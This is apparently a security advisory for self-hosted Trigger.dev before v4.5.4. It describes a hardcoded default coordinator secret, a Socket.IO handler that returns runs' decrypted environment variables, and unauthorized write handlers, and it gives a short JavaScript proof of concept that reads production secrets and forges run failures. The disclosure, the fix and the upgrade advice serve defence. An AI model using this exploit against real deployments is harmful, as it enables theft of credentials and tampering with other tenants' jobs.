PT-2026-111195
Published
2026-10-02
·
Updated
2026-10-02
Description by
CVSS 4.0
9.2
CriticalMetricsAV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
TL;DR
The /coordinator Socket.IO namespace mounts on every webapp boot and authenticates with a default secret ("coordinator-secret") baked into source. The override variable isn't documented in the self-host docs, .env.example, or helm values, so any operator who didn't read source ships with the default. Once connected, READY FOR EXECUTION returns the run's decrypted env vars. Anyone who can reach a default-config self-hosted webapp can pull production secrets out of any run whose internal id they can find.
Vulnerabilities
This attack is made possible by 3 vulnerabilities in Trigger.dev:
1. Hardcoded default authentication secret (CWE-798, Critical)
PROVIDER SECRET and COORDINATOR SECRET are declared with
.default("provider-secret") / .default("coordinator-secret") in apps/webapp/app/env.server.ts:289-290. The values are present in the public source repo, neither var is documented in docs/self-hosting/env/*.mdx, hosting/docker/.env.example, or hosting/k8s/helm/values.yaml, and the auth check at packages/core/src/v3/zodNamespace.ts:148 is a plain string compare against that published value2. Coordinator handler returns decrypted env vars to any authenticated caller (CWE-200, High)
READY FOR EXECUTION at apps/webapp/app/v3/handleSocketIo.server.ts:123 calls sharedQueueTasks.getLatestExecutionPayloadFromRun(runId, ...), which at apps/webapp/app/v3/marqs/sharedQueueConsumer.server.ts:1881-1895 returns payload.environment as the run's decrypted env-var dictionary. Any internal runId is enough to exfil that run's full env, regardless of tenant. Note: this read handler lives in V1-only marqs/ code, so it returns nothing for runs on V2 (Run Engine 2.0). Self-hosts still on V1 are fully exposed; v4-only deployments only see the write handlers below3. Other coordinator handlers accept attacker-controlled writes against arbitrary runs (CWE-862, High)
TASK RUN COMPLETED, TASK RUN COMPLETED WITH ACK, TASK RUN FAILED TO RUN, CHECKPOINT CREATED, CREATE WORKER and friends invoke webapp services with attacker-supplied completion / attempt / worker payloads. None of them check that the caller has authority over the runId or attemptId in the message.
attempt * friendlyIds leak through every dashboard URL and emailed alert, so writes are trivially reachable without any internal idExploit chain / PoC
js
import { io } from "socket.io-client";
const sock = io("https://<self-hosted-target>/coordinator", {
auth: { token: "coordinator-secret" },
transports: ["websocket"],
});
sock.on("connect", () => {
// exfil decrypted env for a known run id
sock.emit("READY FOR EXECUTION", { runId: "<runId>", totalCompletions: 0 }, (res) => {
console.log(res.payload.environment);
// { DATABASE URL: "...", STRIPE SECRET KEY: "...", OPENAI API KEY: "...", ... }
});
// mark any attempt failed
sock.emit("TASK RUN FAILED TO RUN", {
completion: {
id: "<attempt friendlyId>",
ok: false,
error: { type: "INTERNAL ERROR", code: "FORGED", message: "owned" },
},
});
});Resolution
Fixed in v4.5.4. The entire end-of-life V1 (Run Engine 1.0) execution stack was removed in commit
5ba8557a5 (#4236) — including the /coordinator, /provider, and /shared-queue Socket.IO namespaces, packages/core/src/v3/zodNamespace.ts, the marqs shared-queue consumer, and the PROVIDER SECRET / COORDINATOR SECRET environment variables.All three vulnerabilities are absent in v4.5.4 and later: the vulnerable namespaces no longer mount, the
READY FOR EXECUTION env-var read handler and the unauthenticated write handlers no longer exist, and the hardcoded default secrets are gone.Affected: self-hosted Trigger.dev
< 4.5.4. Vulnerability #2 (decrypted env-var exfiltration) additionally required a deployment still running Run Engine 1.0; v4-only (Run Engine 2.0) deployments were exposed only to the write handlers (#3).Managed cloud (cloud.trigger.dev) was not affected: it was configured with non-default control-plane secrets, so the default-secret entry point (vulnerability #1) that gates the chain never applied.
Action: self-hosted operators on any release before v4.5.4 should upgrade to v4.5.4 or later.
Found an issue in the description? Have something to add? Feel free to write us 👾